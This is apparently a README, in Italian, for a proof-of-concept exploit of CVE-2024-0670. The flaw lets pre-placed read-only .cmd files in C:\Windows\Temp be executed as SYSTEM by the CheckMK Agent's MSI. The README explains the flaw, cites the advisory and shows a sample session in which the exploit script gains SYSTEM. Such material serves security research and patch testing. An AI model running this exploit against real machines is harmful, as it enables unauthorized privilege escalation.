
PoC per CVE-2024-0670
Questo repository fornisce un exploit di prova di concetto (PoC) per la vulnerabilità CVE-2024-0670, che colpisce il CheckMK Agent sui sistemi Windows. La vulnerabilità si verifica quando il CheckMK Agent crea ed esegue file temporanei nella directory C:\Windows\Temp. Un attaccante può abusare di questo comportamento preposizionando file dannosi con protezione da scrittura in quella directory. Quando l'agente tenta di creare un file temporaneo che esiste già in sola lettura, non riesce a sovrascriverlo ma esegue comunque il file esistente con privilegi SYSTEM, consentendo l'escalation dei privilegi.
Riferimento all'advisory: SEC Consult - Escalation locale dei privilegi tramite file scrivibili in Checkmk Agent
Questo progetto è destinato esclusivamente a scopi educativi, di ricerca e di test di sicurezza autorizzati.
Non utilizzare questo codice su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
L'autore non è responsabile per eventuali danni o usi impropri.
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
[+] Searching for Check MK installer...
[+] Found: C:\Windows\Installer\1e6f2.msi
[+] Using command: whoami > C:\Windows\Temp\whoami.txt
[+] Preparing 18000 .cmd files...
[*] Progress: 0%
[*] Progress: 10%
[*] Progress: 20%
[*] Progress: 30%
[*] Progress: 40%
[*] Progress: 50%
[*] Progress: 60%
[*] Progress: 70%
[*] Progress: 80%
[*] Progress: 90%
[*] Progress: 100%
[+] Triggering MSI to execute command...
[+] Done
evil-winrm-py PS C:\Users\magicrc\Desktop> cat C:\Windows\Temp\whoami.txt
nt authority\system